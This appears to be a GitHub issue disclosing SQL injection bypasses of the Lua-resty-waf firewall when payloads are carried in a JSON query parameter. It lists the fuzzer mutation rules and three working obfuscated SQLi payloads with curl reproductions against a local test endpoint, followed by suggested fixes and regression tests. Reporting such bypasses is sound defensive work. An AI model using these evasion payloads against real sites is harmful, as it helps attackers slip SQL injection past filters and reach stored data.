Skip to content

Lua-resty-waf GET(JSON): SQLi bypass via JSON-carried comment and operator variants #340

Description

@WAFSignal

[Lua-resty-waf][GET(JSON)] SQLi bypass via comment/operator variants under json-carried predicates

Summary

  • WAF: Lua-resty-waf
  • Request manner: GET(JSON)
  • Defect pattern: Comment/operator variants under JSON-carried predicates.
  • Evaluation scope: 623 unique SQLi mutation attempts; 319 successful bypasses were observed in this manner.
  • In our log format, 1 => 0 means the WAF decision changed from malicious/blocked to benign/allowed.

Environment

  • WAF version: 0.11.1
  • Notes: OpenResty 1.19.9.1-alpine.

Mutation Rules Involved

The study associates this pattern with the following concrete fuzzer rules:

  • swap_keywords: replaces SQL operators with semantically equivalent forms such as = -> LIKE, <> -> NOT LIKE, AND -> &&, or OR -> ||
  • spaces_to_whitespaces_alternatives: replaces ordinary whitespace with tabs, newlines, form feeds, vertical tabs, or NBSP
  • swap_int_repr: rewrites integer literals as equivalent hexadecimal values or (SELECT n) expressions

Invisible-character Notation

The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:

  • <TAB> = horizontal tab (\t, U+0009)
  • <LF> = line feed (\n, U+000A)
  • <CR> = carriage return (\r, U+000D)
  • <FF> = form feed (\f, U+000C)
  • <VT> = vertical tab (\v, U+000B)
  • <NBSP> = non-breaking space (U+00A0)

Representative Successful Examples

Case 1

  • Final decision change: 1 => 0
  • Matching rationale: The JSON-carried payload combines comment/separator changes with operator-level rewriting. Observable features: comment variant, operator variant, JSON-carried separator.
  • Original payload excerpt:
...1 where 7224 = 7224 and sleep ( 5 ) #
  • Transformed payload excerpt, with invisible characters rendered explicitly:
1<FF>WhERe<FF>'C_^#' LIKE 'C_^#'<FF>anD<NBSP>sleep/**/(5/**/) #'<FF>7 

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9005/waf
  • Method: GET
  • JSON carrier query parameter: data
  • JSON object before transport encoding: {"id":"<payload>"}
  • Transport encoding: the full JSON object is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9005/waf?data=%7B%22id%22%3A%221%5CfWhERe%5Cf%27C_%5E%23%27%20LIKE%20%27C_%5E%23%27%5CfanD%C2%A0sleep%2F%2A%2A%2F%285%2F%2A%2A%2F%29%20%23%27%5Cf7%20%22%7D'

Case 2

  • Final decision change: 1 => 0
  • Matching rationale: The JSON-carried payload combines comment/separator changes with operator-level rewriting. Observable features: operator variant, JSON-carried separator.
  • Original payload excerpt:
...1 ) ) ) and 4595 = 4595#
  • Transformed payload excerpt, with invisible characters rendered explicitly:
(selECt 1)<NBSP><VT> ) <NBSP> ) <FF><LF> ) <LF> And<NBSP>0x11f3 <LF>LIKe <FF><TAB>4595#"

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9005/waf
  • Method: GET
  • JSON carrier query parameter: data
  • JSON object before transport encoding: {"id":"<payload>"}
  • Transport encoding: the full JSON object is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9005/waf?data=%7B%22id%22%3A%22%28selECt%201%29%C2%A0%5Cu000b%20%29%20%C2%A0%20%29%20%5Cf%5Cn%20%29%20%5Cn%20And%C2%A00x11f3%20%5CnLIKe%20%5Cf%5Ct4595%23%5C%22%22%7D'

Case 3

  • Final decision change: 1 => 0
  • Matching rationale: The JSON-carried payload combines comment/separator changes with operator-level rewriting. Observable features: operator variant, JSON-carried separator.
  • Original payload excerpt:
...-9120' ) ) or 8571 = 8571--
  • Transformed payload excerpt, with invisible characters rendered explicitly:
-9120'<TAB> ) <LF> ) <TAB> Or<TAB>(SeLeCT 8110) not<TAB>like 8111--

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9005/waf
  • Method: GET
  • JSON carrier query parameter: data
  • JSON object before transport encoding: {"id":"<payload>"}
  • Transport encoding: the full JSON object is percent-encoded in the query string.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9005/waf?data=%7B%22id%22%3A%22-9120%27%5Ct%20%29%20%5Cn%20%29%20%5Ct%20Or%5Ct%28SeLeCT%208110%29%20not%5Ctlike%208111--%22%7D'

Suggested Fixes

  • Decode JSON-carried parameters before applying the same comment, whitespace, and operator canonicalization pipeline used for other request manners.
  • Add combined tests for comment insertion followed by operator replacement such as = -> LIKE or AND -> &&.
  • Add these transformed payloads as regression tests and assert that they remain blocked after the fix.

Validation Plan

  • Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
  • Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
  • Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions